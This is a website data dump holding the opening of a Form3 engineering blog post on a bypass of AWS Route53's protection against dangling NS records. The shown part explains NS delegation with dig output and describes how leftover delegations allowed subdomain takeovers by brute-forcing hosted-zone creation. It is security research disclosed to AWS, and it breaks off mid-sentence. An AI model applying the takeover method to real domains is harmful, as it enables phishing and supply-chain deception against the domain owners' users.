[{"data":1,"prerenderedAt":17775},["ShallowReactive",2],{"nav_featured_podcast":3,"nav_featured_press_release":21,"navigation_content":30,"engineering_blog_page":377,"engineering_blog_posts":401},{"uid":4,"title":5,"episodeLabel":6,"dateLabel":7,"episodeArt":8,"href":20},"from-payment-rails-to-connectivity","From Payment Rails to Connectivity, with The Clearing House's David Watson","EPISODE 5","August 18, 2026",{"dimensions":9,"alt":12,"copyright":13,"url":14,"id":15,"edit":16},{"width":10,"height":11},1064,652,"Payments Cannot Fail — Episode 05 with David Watson",null,"\u002F_prismic-media\u002Fd80df2e47c3ecb6f-cFcyPAgzKCMQEaND_Episode-05-David.jpg","cFcyPAgzKCMQEaND",{"x":17,"y":17,"zoom":18,"background":19},0,1,"transparent","\u002Fresources\u002Fpodcasts\u002Ffrom-payment-rails-to-connectivity",{"uid":22,"title":23,"tag":24,"dateLabel":25,"imageUrl":26,"imageAlt":27,"href":28,"imageFit":29},"form3-expands-strategic-partnership-with-sumup","Form3 expands strategic partnership with SumUp to bring real-time SEPA payments to millions of European small businesses","EU","February 25, 2026","\u002F_prismic-media\u002F3e91177f91478610-QA44Gzev0_tdg3ZI_SumUp.jpg","sumup","\u002Fresources\u002Fpress-releases\u002Fform3-expands-strategic-partnership-with-sumup","cover",{"header":31,"platform":59,"solutions":91,"developers":133,"company":155,"resources":184,"partnerships":208,"footer":220,"mobile":324},{"ctaLabel":32,"ctaHref":33,"topNav":34},"TALK TO OUR TEAM","\u002Fcontact",[35,39,43,47,51,55],{"label":36,"href":37,"key":38},"Platform","\u002Fplatform","platform",{"label":40,"href":41,"key":42},"Solutions","\u002Fsolutions","solutions",{"label":44,"href":45,"key":46},"Developers","\u002Fdevelopers","developers",{"label":48,"href":49,"key":50},"Company","\u002Fcompany","company",{"label":52,"href":53,"key":54},"Resources","\u002Fresources","resources",{"label":56,"href":57,"key":58},"Partnerships","\u002Fpartnerships","partnerships",{"sectionEyebrow":60,"primary":61,"productLinks":65,"enterprise":81,"trustFabric":86},"Explore the Platform",{"heading":62,"body":63,"ctaLabel":64,"ctaHref":37},"Our Payments Platform","A resilient, cloud-native platform powering real-time account-to-account payments at global scale.","See How It Works",[66,69,72,75,78],{"label":67,"href":68},"Payments Processing & Gateway","\u002Fpayments-processing-gateway",{"label":70,"href":71},"Orchestration & Intelligent Routing","\u002Forchestration-intelligent-routing",{"label":73,"href":74},"Payments Simulator","\u002Fpayments-simulator",{"label":76,"href":77},"Sponsor Bank Enablement","\u002Fsponsor-bank-enablement",{"label":79,"href":80},"Inform3d UI","\u002Finform3d-ui",{"heading":82,"body":83,"ctaLabel":84,"ctaHref":85},"Form3 Enterprise","Deploy and manage proven cloud-native payments technology in the environment that works for your institution.","Deploy Enterprise","\u002Fplatform\u002Fenterprise",{"heading":87,"body":88,"ctaLabel":89,"ctaHref":90},"Form3 Trust Fabric","Manage TLS certificates, cryptographic vulnerabilities and quantum readiness at scale, with continuous visibility.","Deploy Trust Fabric","\u002Fplatform\u002Ftrust-fabric",{"regionsIntro":92,"regions":98,"industries":118},{"eyebrow":93,"heading":94,"headingLine2":95,"body":96,"ctaLabel":64,"ctaHref":97},"Regions","Global Reach.","Regional Expertise.","A proven payments platform serving organizations worldwide, with specialized experience across North America, United Kingdom, and Europe.","\u002Fglobal",[99,108,113],{"label":100,"description":101,"ctaLabel":102,"href":103,"extraLinks":104},"North America","Real-time infrastructure, through a resilient, multi-cloud platform built for scale and regulatory confidence.","US HOME","\u002Fsolutions\u002Funited-states",[105],{"label":106,"href":107},"CANADA HOME","\u002Fsolutions\u002Fcanada",{"label":109,"description":110,"ctaLabel":111,"href":112},"United Kingdom","Powering account-to-account payments at the heart of the UK financial ecosystem, with proven resilience.","UK HOME","\u002Fsolutions\u002Funited-kingdom",{"label":114,"description":115,"ctaLabel":116,"href":117},"Europe","Enabling secure, real-time and SEPA payments across European markets through a unified, cloud-native platform.","EUROPE HOME","\u002Fsolutions\u002Feurope",{"eyebrow":119,"links":120},"Industries",[121,125,129],{"label":122,"href":123,"iconSrc":124},"Financial Services","\u002Fsolutions\u002Findustries\u002Ffinancial-services","\u002F_prismic-media\u002F29c09c45caa89db9-kbUHZmgTmuIMbo1t_FinancialServices_menu.svg",{"label":126,"href":127,"iconSrc":128},"Fintech","\u002Fsolutions\u002Findustries\u002Ffintech","\u002F_prismic-media\u002F6de3e7cb4dd8d874-SjwNe6Nh-bbuTi0P_Fintech_menu.svg",{"label":130,"href":131,"iconSrc":132},"Government","\u002Fsolutions\u002Findustries\u002Fgovernment","\u002F_prismic-media\u002Fe71bc3a74a1d2142-kaGgdituzKDnVTbm_Government_menu.svg",{"engineering":134,"api":142,"pressEyebrow":154},{"eyebrow":135,"links":136},"Engineering",[137,139],{"label":135,"href":138},"\u002Fengineering",{"label":140,"href":141},"Accreditations","\u002Faccreditations",{"eyebrow":143,"links":144},"API",[145,148,151],{"label":146,"href":147},"API Docs","https:\u002F\u002Fwww.api-docs.form3.tech\u002F",{"label":149,"href":150},"API Tutorials","https:\u002F\u002Fwww.api-docs.form3.tech\u002Fapi\u002Ftutorials\u002Fgetting-started\u002Fintroduction",{"label":152,"href":153},"API Status","https:\u002F\u002Fstatus.form3.tech\u002F","Latest Press Release",{"about":156,"people":171,"podcastEyebrow":183},{"eyebrow":157,"links":158},"About",[159,162,165,168],{"label":160,"href":161},"Our Story","\u002Fcompany\u002Four-story",{"label":163,"href":164},"Our Team","\u002Fcompany\u002Fteam",{"label":166,"href":167},"Our Success & Strategic Approach","\u002Fcompany\u002Four-success",{"label":169,"href":170},"Customer Stories","\u002Fcompany\u002Fcustomer-stories",{"eyebrow":172,"links":173},"People",[174,177,180],{"label":175,"href":176},"Careers","\u002Fcompany\u002Fcareers",{"label":178,"href":179},"Vacancies","\u002Fcompany\u002Fvacancies",{"label":181,"href":182},"Culture","\u002Fcompany\u002Fculture","Latest Podcast",{"intro":185,"links":189,"pressEyebrow":154,"podcastEyebrow":183},{"eyebrow":52,"heading":186,"body":187,"ctaLabel":188,"ctaHref":53},"Form3 Resources","Our Resources bring together thought leadership, engineering insights, payments expertise, webinars, podcasts, whitepapers, company news and stories from our teams—all in one place.","LEARN MORE",[190,193,196,199,202,205],{"label":191,"href":192},"Payments Cannot Fail Podcast","\u002Fresources\u002Fpodcasts",{"label":194,"href":195},"Press Releases","\u002Fresources\u002Fpress-releases",{"label":197,"href":198},"Payment Insights","\u002Fresources\u002Fpayment-insights",{"label":200,"href":201},"Culture Blog","\u002Fresources\u002Fculture-blog",{"label":203,"href":204},"Engineering Blog","\u002Fresources\u002Fengineering-blog",{"label":206,"href":207},"Events","\u002Fevents",{"intro":209,"links":213,"pressEyebrow":154},{"eyebrow":56,"heading":210,"body":211,"ctaLabel":212,"ctaHref":57},"Partner with Form3","Explore how Form3 works with banks, fintechs, cloud providers, technology platforms and system integrators to accelerate payment modernization, strengthen customer offerings and unlock new opportunities for growth.","Let's Partner Together",[214,217],{"label":215,"href":216},"Technical & Ecosystem Partners","\u002Fpartnerships\u002Ftechnical-ecosystem",{"label":218,"href":219},"Channel & Distribution Partners","\u002Fpartnerships\u002Fchannel-distribution",{"platform":221,"region":228,"development":239,"company":247,"resources":258,"partnerships":266,"stayConnected":271,"legalLinks":291,"certifications":313},{"title":36,"links":222},[223,224,225,226,227],{"label":62,"href":37},{"label":67,"href":68},{"label":70,"href":71},{"label":73,"href":74},{"label":76,"href":77},{"title":229,"links":230},"Region",[231,233,235,236,237],{"label":232,"href":97},"Global",{"label":234,"href":103},"United States",{"label":109,"href":112},{"label":114,"href":117},{"label":238,"href":107},"Canada",{"title":240,"links":241},"Development",[242,243,244,245,246],{"label":135,"href":138},{"label":140,"href":141},{"label":146,"href":147},{"label":149,"href":150},{"label":152,"href":153},{"title":48,"links":248},[249,250,251,252,253,254,255],{"label":160,"href":161},{"label":163,"href":164},{"label":169,"href":170},{"label":175,"href":176},{"label":178,"href":179},{"label":181,"href":182},{"label":256,"href":257},"Net Zero","\u002Fcompany\u002Fnet-zero",{"title":52,"links":259},[260,261,262,263,264,265],{"label":186,"href":53},{"label":191,"href":192},{"label":194,"href":195},{"label":200,"href":201},{"label":203,"href":204},{"label":206,"href":207},{"title":56,"links":267},[268,269,270],{"label":210,"href":57},{"label":215,"href":216},{"label":218,"href":219},{"title":272,"body":273,"ctaLabel":32,"ctaHref":33,"social":274},"Stay Connected","Form3 is a global account-to-account financial fabric delivering a proven payments platform trusted by banks and fintechs to deliver resilient, real-time payment experiences for their customers at scale.",[275,279,283,287],{"label":276,"href":277,"icon":278},"LinkedIn","https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fform3-financial-cloud\u002F","linkedin",{"label":280,"href":281,"icon":282},"X","https:\u002F\u002Fwww.x.com\u002FForm3Cloud","x",{"label":284,"href":285,"icon":286},"YouTube","https:\u002F\u002Fwww.youtube.com\u002F@Form3Cloud","youtube",{"label":288,"href":289,"icon":290},"Instagram","https:\u002F\u002Fwww.instagram.com\u002Fform3.tech","instagram",[292,295,298,301,304,307,310],{"label":293,"href":294},"Terms & Conditions","\u002Flegal\u002Fterms-and-conditions",{"label":296,"href":297},"Privacy Policy","\u002Flegal\u002Fdata-privacy-statement",{"label":299,"href":300},"Recruitment Data Policy","\u002Flegal\u002Frecruitment-data-policy",{"label":302,"href":303},"Modern Slavery Statement","\u002Flegal\u002Fmodern-slavery",{"label":305,"href":306},"License","\u002Flegal\u002Flicense",{"label":308,"href":309},"Cookie Policy","\u002Flegal\u002Fcookie-policy",{"label":311,"href":312},"Manage Cookies","#cookies",[314,316,318,320,322],{"label":315},"ISO 27001",{"label":317},"ISO 27017",{"label":319},"ISO 27018",{"label":321},"ISAE 3000 SOC 2 Type II",{"label":323},"ISO 22301",{"platform":325,"solutions":340,"developers":354,"company":364,"resources":365,"partnerships":373},[326,328,338,339],{"kind":327,"label":62,"href":37},"link",{"kind":329,"label":60,"children":330},"group",[331,332,333,334,336],{"label":67,"href":68},{"label":70,"href":71},{"label":73,"href":74},{"label":76,"href":335},"\u002Fplatform\u002Fsponsor-bank-enablement",{"label":79,"href":337},"\u002Fplatform\u002Finform3d-ui",{"kind":327,"label":82,"href":85},{"kind":327,"label":87,"href":90},[341,343,349],{"kind":327,"label":232,"href":342},"\u002Fsolutions\u002Fglobal",{"kind":329,"label":93,"children":344},[345,346,347,348],{"label":234,"href":103},{"label":238,"href":107},{"label":109,"href":112},{"label":114,"href":117},{"kind":329,"label":119,"children":350},[351,352,353],{"label":122,"href":123},{"label":126,"href":127},{"label":130,"href":131},[355,359],{"kind":329,"label":135,"children":356},[357,358],{"label":135,"href":138},{"label":140,"href":141},{"kind":329,"label":143,"children":360},[361,362,363],{"label":146,"href":147},{"label":149,"href":150},{"label":152,"href":153},[],[366,367,368,369,370,371,372],{"kind":327,"label":186,"href":53},{"kind":327,"label":191,"href":192},{"kind":327,"label":194,"href":195},{"kind":327,"label":197,"href":198},{"kind":327,"label":200,"href":201},{"kind":327,"label":203,"href":204},{"kind":327,"label":206,"href":207},[374,375,376],{"kind":327,"label":210,"href":57},{"kind":327,"label":215,"href":216},{"kind":327,"label":218,"href":219},{"id":378,"uid":13,"url":204,"type":379,"href":380,"tags":381,"first_publication_date":382,"last_publication_date":382,"slugs":383,"linked_documents":385,"lang":386,"alternate_languages":387,"data":388},"alz1SREAACgAUWjm","engineering_blog_page","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1SREAACgAUWjm%22%29+%5D%5D",[],"2026-07-19T16:21:49+0000",[384],"engineering-blog-page",[],"en-us",[],{"eyebrow":389,"heading":390,"intro":394,"meta_title":399,"meta_description":400},"BLOGS: ENGINEERING",[391],{"type":392,"text":203,"spans":393},"heading1",[],[395],{"type":396,"text":397,"spans":398},"paragraph","Catch up on all our latest blogs and events",[],"Engineering Blog — Form3","Read the latest Form3 engineering blog posts and event recaps from our platform and infrastructure teams.",[402,988,1249,1567,1739,1874,2160,2651,2844,3381,3754,4008,4179,4502,4672,4885,5197,5483,6062,6304,6548,6893,7169,7731,8184,8448,8717,9061,9538,9750,10078,10803,10997,11456,11850,12042,12895,13034,13208,13439,13813,14017,14428,14585,14976,15144,15402,15933,16139,16364,16681,16822,17279,17394,17489,17593,17687],{"id":403,"uid":404,"url":405,"type":406,"href":407,"tags":408,"first_publication_date":409,"last_publication_date":410,"slugs":411,"linked_documents":413,"lang":386,"alternate_languages":414,"data":415},"alz0ohEAACoAUWY8","dangling-danger","\u002Fresources\u002Fengineering-blog\u002Fdangling-danger","engineering_blog_post","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0ohEAACoAUWY8%22%29+%5D%5D",[],"2026-07-19T16:22:02+0000","2026-08-27T02:07:03+0000",[412],"what-are-ns-records",[],[],{"title":416,"excerpt":417,"card_image":418,"published_date":425,"reading_time":426,"tag":427,"dek":428,"featured_image":429,"about_form3":437,"client_about_heading":13,"client_about_body":438,"author_name":439,"author_title":440,"author_photo":441,"author_bio":448,"author_linkedin":452,"slices":457,"meta_title":416,"meta_description":417},"Dangling Danger: Route53's Flawed Dangling NS Record Protection","A subdomain takeover is a class of attack in which an adversary is able to serve unauthorized content from victim's domain name. It can be used for phishing, supply chain compromise, and other forms of attacks which rely on deception. You might've heard about CNAME based or NS based subdomain takeovers.",{"dimensions":419,"alt":416,"copyright":13,"url":421,"id":422,"edit":423},{"width":420,"height":420},800,"\u002F_prismic-media\u002F72aed5750a0a36d7-9zWrpK3D8_sC7Meg_dangling-danger.jpg","9zWrpK3D8_sC7Meg",{"x":17,"y":17,"zoom":18,"background":424},"#ffffff","2023-10-27",10,"Blogs","A subdomain takeover is a class of attack in which an adversary is able to serve unauthorized content from victim's domain name. It can be used for phishing, supply chain compromise, and other forms of attacks which rely on deception. You might've heard about CNAME based or NS based subdomain takeovers.While classic DNS takeovers are becoming harder and harder to execute as vendors implement better protection against them, there are still novel attack techniques to be discovered. In this article we'll explore a dangling record protection bypass on AWS's Route53 service.This blog post should accommodate people with different experience levels, feel free to skip a few sections if you understand the classic DNS takeovers on Route53.",{"dimensions":430,"alt":433,"copyright":13,"url":434,"id":435,"edit":436},{"width":431,"height":432},872,174,"Domain, Record & Value table","\u002F_prismic-media\u002F2032471280d43172-YAW3DgO2oI2B9zRn_f64b6dba-b152-46d6-a33e-7939d0c.svg","YAW3DgO2oI2B9zRn",{"x":17,"y":17,"zoom":18,"background":424},[],[],"Maciej Mionskowski","Offensive Security Engineer",{"dimensions":442,"alt":439,"copyright":13,"url":445,"id":446,"edit":447},{"width":443,"height":444},317,473,"\u002F_prismic-media\u002Fc95cdd1f6c30363a-jOxXfOcm1e30g6mY_1b7a4303-9ca7-4477-af48-eed77e4.jpg","jOxXfOcm1e30g6mY",{"x":17,"y":17,"zoom":18,"background":424},[449],{"type":396,"text":450,"spans":451},"Maciej is an Offensive Security Engineer at Form3. Transitioning from a background in Platform and Software Engineering, he thrives on challenges that push the boundaries of his expertise. Outside of work, he's passionate about sailing, rock climbing, and playing board games.",[],{"link_type":453,"key":454,"url":455,"target":456},"Web","7277e9c9-eba4-41fd-a165-2cdc6a56426b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmionskowski\u002F","_blank",[458,480,507,521,538,558,568,610,618,629,646,654,674,690,698,716,734,748,783,797,808,825,833,858,875,883,891,907,915,923,931,939,953,977],{"variation":459,"version":460,"items":461,"primary":462,"id":478,"slice_type":479,"slice_label":13},"default","initial",[],{"body":463},[464,468,471],{"type":465,"text":466,"spans":467},"heading2","What are NS records",[],{"type":396,"text":469,"spans":470},"A Name Server (NS) record describes the DNS server that contains actual DNS records for a given domain, later referred to as an authoritative nameserver (aNS).",[],{"type":396,"text":472,"spans":473},"Consider the following record in the example.com. DNS zone:",[474],{"start":475,"end":476,"type":477},37,49,"strong","rich_text$5f9e0d17-059d-4ed1-ab7f-81aeec97b3ef","rich_text",{"variation":459,"version":481,"items":482,"primary":483,"id":505,"slice_type":506,"slice_label":13},"",[],{"eyebrow":13,"heading":484,"body":485,"cta_label":13,"cta_link":486,"aside_type":488,"aside_image":489,"aside_video":492,"aside_video_poster":494,"aside_video_reduced_motion":495,"aside_video_url":13,"aside_embed":496,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":498,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},"Any","Image",{"dimensions":490,"alt":433,"copyright":13,"url":434,"id":435,"edit":491},{"width":431,"height":432},{"x":17,"y":17,"zoom":18,"background":424},{"link_type":493},"Media",{},{},{},"Contact (default)",{"link_type":499},"Document","Light","None","Solid color (no gradient)","Right","Top of section","content_block$07308cce-bf36-4503-b770-4b07f52b12a8","content_block",{"variation":459,"version":460,"items":508,"primary":509,"id":520,"slice_type":479,"slice_label":13},[],{"body":510},[511],{"type":396,"text":512,"spans":513},"And the following record in the sub.example.com. zone hosted behind ns-240.awsdns-30.com:",[514,517],{"start":515,"end":516,"type":477},32,48,{"start":518,"end":519,"type":477},68,88,"rich_text$05ef6281-d453-4b12-8e32-95094f952369",{"variation":459,"version":481,"items":522,"primary":523,"id":537,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":524,"body":525,"cta_label":13,"cta_link":526,"aside_type":488,"aside_image":527,"aside_video":532,"aside_video_poster":533,"aside_video_reduced_motion":534,"aside_video_url":13,"aside_embed":535,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":536,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":528,"alt":433,"copyright":13,"url":529,"id":530,"edit":531},{"width":431,"height":432},"\u002F_prismic-media\u002Fe5526846c41a1479-1MTJBQmD_lAyI7jC_98ffb791-499e-4721-9b5d-069d5bc.svg","1MTJBQmD_lAyI7jC",{"x":17,"y":17,"zoom":18,"background":424},{"link_type":493},{},{},{},{"link_type":499},"content_block$c6f72cba-7472-406c-ba3d-f1255a8b3097",{"variation":459,"version":460,"items":539,"primary":540,"id":557,"slice_type":479,"slice_label":13},[],{"body":541},[542,551],{"type":396,"text":543,"spans":544},"If you try to resolve any record in sub.example.com. the DNS resolver will contact ns-240.awsdns-30.com (aNS) to fetch the records.",[545,548],{"start":546,"end":547,"type":477},36,52,{"start":549,"end":550,"type":477},83,103,{"type":396,"text":552,"spans":553},"We can observe that if we run dig +trace A sub.example.com",[554],{"start":555,"end":556,"type":477},30,58,"rich_text$7cf58196-6d88-4e8a-a26a-b339fd7fb556",{"variation":459,"version":460,"items":559,"primary":560,"id":566,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":561},[562],{"type":563,"text":564,"spans":565},"preformatted","$ dig +trace A sub.example.com\n\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> +trace A sub.example.com\n;; global options: +cmd\n.                       30      IN      NS      c.root-servers.net.\n.                       30      IN      NS      l.root-servers.net.\n\u003Csnip>\n;; Received 525 bytes from 127.0.0.1#53(127.0.0.1) in 91 ms\n\ncom.                    172800  IN      NS      a.gtld-servers.net.\ncom.                    172800  IN      NS      k.gtld-servers.net.\n\u003Csnip>\n;; Received 1182 bytes from 193.0.14.129#53(k.root-servers.net) in 62 ms\n\nexample.com.     172800  IN      NS      ns-1790.awsdns-31.co.uk.\nexample.com.     172800  IN      NS      ns-1392.awsdns-46.org.\n\u003Csnip>\n;; Received 753 bytes from 192.5.6.30#53(a.gtld-servers.net) in 41 ms\n\nsub.example.com. 300     IN      NS      ns-240.awsdns-30.com.\n;; Received 348 bytes from 205.251.197.112#53(ns-1392.awsdns-46.org) in 43 ms\n\nsub.example.com. 300     IN      A       127.0.0.1\n;; Received 185 bytes from 205.251.192.240#53(ns-240.awsdns-30.com) in 40 ms",[],"code_block$d9c01425-ec61-4a3d-9506-30af0c964778","code_block",{"variation":459,"version":460,"items":569,"primary":570,"id":609,"slice_type":479,"slice_label":13},[],{"body":571},[572,575,581,591],{"type":465,"text":573,"spans":574},"What is a dangling NS record",[],{"type":396,"text":576,"spans":577},"A dangling NS record (label NS nameserver) is a NS record that either:",[578],{"start":579,"end":580,"type":477},22,41,{"type":582,"text":583,"spans":584},"o-list-item","(1) points to a non existing nameserver (e.g. sub.example.com NS ns.expired-domain.com) or",[585,588],{"start":586,"end":587,"type":477},29,39,{"start":589,"end":590,"type":477},46,86,{"type":582,"text":592,"spans":593},"(2) points to a nameserver that does not have the label zone configured, e.g. sub.example.com NS ns-1790.awsdns-31.co.uk where queries for sub.example.com to that nameserver are REFUSED",[594,597,600,603,606],{"start":595,"end":596,"type":477},16,26,{"start":598,"end":599,"type":477},50,55,{"start":601,"end":602,"type":477},78,120,{"start":604,"end":605,"type":477},139,154,{"start":607,"end":608,"type":477},178,185,"rich_text$4650bb76-a8bf-4da1-828a-ec0795a03111",{"variation":459,"version":460,"items":611,"primary":612,"id":617,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":613},[614],{"type":563,"text":615,"spans":616},"dig sub.example.com @ns-1790.awsdns-31.co.uk\n\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> sub.example.com @ns-1790.awsdns-31.co.uk\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER\u003C\u003C- opcode: QUERY, status: REFUSED, id: 2694",[],"code_block$9cd9b44e-7e06-4441-8911-43feb04ed863",{"variation":459,"version":460,"items":619,"primary":620,"id":628,"slice_type":479,"slice_label":13},[],{"body":621},[622,625],{"type":396,"text":623,"spans":624},"It's worth noting that any dangling NS records are undesired and should be treated as misconfiguration.",[],{"type":396,"text":626,"spans":627},"In this article we will focus on the second scenario in the context of Route53\u002FAWS name servers.",[],"rich_text$86d54f14-7f11-42fc-aa50-0924c5361468",{"variation":459,"version":460,"items":630,"primary":631,"id":645,"slice_type":479,"slice_label":13},[],{"body":632},[633,636,642],{"type":465,"text":634,"spans":635},"How could you perform a subdomain takeover in Route53",[],{"type":396,"text":637,"spans":638},"When a hosted zone is created in Route53 it's assigned a set of name servers from a shared pool.",[639],{"start":640,"end":641,"type":477},84,95,{"type":396,"text":643,"spans":644},"e.g.",[],"rich_text$0174a2d8-c41d-4465-baac-bd4053661908",{"variation":459,"version":460,"items":647,"primary":648,"id":653,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":649},[650],{"type":563,"text":651,"spans":652},"Hosted zone name\nsub.example.com\n\nName servers\nns-1881.awsdns-43.co.uk\nns-2.awsdns-00.com\nns-1190.awsdns-20.org\nns-734.awsdns-27.net",[],"code_block$65d764bc-2fd5-458f-9097-6bee9a696d7d",{"variation":459,"version":460,"items":655,"primary":656,"id":673,"slice_type":479,"slice_label":13},[],{"body":657},[658,663,668],{"type":396,"text":659,"spans":660},"The format of the nameservers that are assigned follows ns-{id}.awsdns-{id2}.{domain} pattern, where:",[661],{"start":662,"end":590,"type":477},56,{"type":582,"text":664,"spans":665},"{id} is a number between 0 and 2048",[666],{"start":17,"end":667,"type":477},4,{"type":582,"text":669,"spans":670},"{id2} is a two-digit number between 00 and 64.",[671],{"start":17,"end":672,"type":477},5,"rich_text$148994f5-fbea-405d-9431-c587268c6897",{"variation":459,"version":460,"items":675,"primary":676,"id":689,"slice_type":479,"slice_label":13},[],{"body":677},[678,681],{"type":396,"text":679,"spans":680},"Note, that only a subset of all combinations are used.",[],{"type":396,"text":682,"spans":683},"Usually, you would reference the sub.example.com nameservers in your example.com hosted zone like this:",[684,686],{"start":685,"end":516,"type":477},33,{"start":687,"end":688,"type":477},69,80,"rich_text$52a7e812-05e5-4476-92a3-72a062a006ca",{"variation":459,"version":460,"items":691,"primary":692,"id":697,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":693},[694],{"type":563,"text":695,"spans":696},"sub.example.com.\t300\tIN\tNS\tns-1881.awsdns-43.co.uk.\nsub.example.com.\t300\tIN\tNS\tns-2.awsdns-00.com.\nsub.example.com.\t300\tIN\tNS\tns-1190.awsdns-20.org.\nsub.example.com.\t300\tIN\tNS\tns-734.awsdns-27.net.",[],"code_block$7649fb84-9042-4bbe-86d3-04dac9dffb9a",{"variation":459,"version":460,"items":699,"primary":700,"id":715,"slice_type":479,"slice_label":13},[],{"body":701},[702,710],{"type":396,"text":703,"spans":704},"Now, what happens if sub.example.com. zone is deleted, but the NS records in example.com. are not?",[705,707],{"start":706,"end":475,"type":477},21,{"start":708,"end":709,"type":477},77,89,{"type":396,"text":711,"spans":712},"There are dangling nameserver records left which anyone could register a sub.example.com. zone against (using brute force) and perform a subdomain hijack.",[713],{"start":714,"end":709,"type":477},73,"rich_text$a88ab375-d181-4572-9940-86eb02538381",{"variation":459,"version":481,"items":717,"primary":718,"id":733,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":719,"body":720,"cta_label":13,"cta_link":721,"aside_type":488,"aside_image":722,"aside_video":728,"aside_video_poster":729,"aside_video_reduced_motion":730,"aside_video_url":13,"aside_embed":731,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":732,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":723,"alt":13,"copyright":13,"url":725,"id":726,"edit":727},{"width":724,"height":431},1744,"\u002F_prismic-media\u002Fd6341568de6baee3-lLnwc0Rn5HY9otZ1_e7015fc5-9ce6-4a6d-b047-2b436a4.png","lLnwc0Rn5HY9otZ1",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$499d2366-0c2d-41d5-9ba3-a5d55ab69f8b",{"variation":459,"version":460,"items":735,"primary":736,"id":747,"slice_type":479,"slice_label":13},[],{"body":737},[738],{"type":396,"text":739,"spans":740},"This is how AWS NS subdomain takeovers worked a few years ago. There's an excellent article on the topic by Shiv Sahni:AWS NS Takeover",[741],{"start":742,"end":743,"type":744,"data":745},119,134,"hyperlink",{"link_type":453,"url":746},"https:\u002F\u002Fshivsahni2.medium.com\u002Faws-ns-takeover-356d2a293bca","rich_text$42f6c495-ccd0-4ee8-b89f-dbe09751d5e5",{"variation":459,"version":460,"items":749,"primary":750,"id":782,"slice_type":479,"slice_label":13},[],{"body":751},[752,755,758,761,769,775],{"type":465,"text":753,"spans":754},"AWS's Protection from dangling delegation records in Route 53",[],{"type":396,"text":756,"spans":757},"If you try to replicate the proof of concept linked in the Shiv's article today you aren't going to be successful.",[],{"type":396,"text":759,"spans":760},"AWS has implemented a protection against dangling delegations, but they are not vocal about the implementation details of that protection.",[],{"type":396,"text":762,"spans":763},"AWS has documented this protection in their docs, although they've since updated the documentation after our report, the current version of the documentation can be found here: https:\u002F\u002Fdocs.aws.amazon.com\u002FRoute53\u002Flatest\u002FDeveloperGuide\u002Fprotection-from-dangling-dns.html.",[764],{"start":765,"end":766,"type":744,"data":767},177,268,{"link_type":453,"url":768},"https:\u002F\u002Fdocs.aws.amazon.com\u002FRoute53\u002Flatest\u002FDeveloperGuide\u002Fprotection-from-dangling-dns.html",{"type":396,"text":770,"spans":771},"but before Oct 2023 the documentation said:",[772],{"start":667,"end":773,"type":744,"data":774},42,{"link_type":453,"url":768},{"type":396,"text":776,"spans":777},"In Route 53, when you use nameserver (NS) records to delegate the management of a subdomain to another public hosted zone, a problem could arise if the subdomain hosted zone is deleted without also deleting the delegation. Another user could potentially re-create the subdomain hosted zone and gain control via the still-active delegation belonging to the first customer. However, Route 53 protects against such “dangling” delegations by not allowing any new hosted zones with overlapping domain names to be created by using those nameservers before verifying that the delegation has first been removed.",[778,781],{"start":17,"end":779,"type":780},603,"em",{"start":17,"end":779,"type":477},"rich_text$6cf0414b-bfa1-41ab-a4b7-73873db2018c",{"variation":459,"version":460,"items":784,"primary":785,"id":796,"slice_type":479,"slice_label":13},[],{"body":786},[787,790,793],{"type":396,"text":788,"spans":789},"It got me speculating on how I would implement such protection myself and I had two ideas of what could happen upon zone creation:",[],{"type":582,"text":791,"spans":792},"Query public DNS for a newly created domain and note all NS records discovered",[],{"type":582,"text":794,"spans":795},"Query all customer NS records in Route53 that could overlap with newly created one and note all NS records discovered",[],"rich_text$497a2323-b539-4dc1-bdda-dbf01f7f302a",{"variation":459,"version":460,"items":798,"primary":799,"id":807,"slice_type":479,"slice_label":13},[],{"body":800},[801,804],{"type":396,"text":802,"spans":803},"The next step is to avoid assigning the name servers (from the shared pool) that were noted to the newly created zone.",[],{"type":396,"text":805,"spans":806},"Depending on how AWS stores the data the second option might be computationally expensive to execute, it also has a problem that the protection would only work in the realm of Route53, if a dangling record was created on another DNS provider it would not be 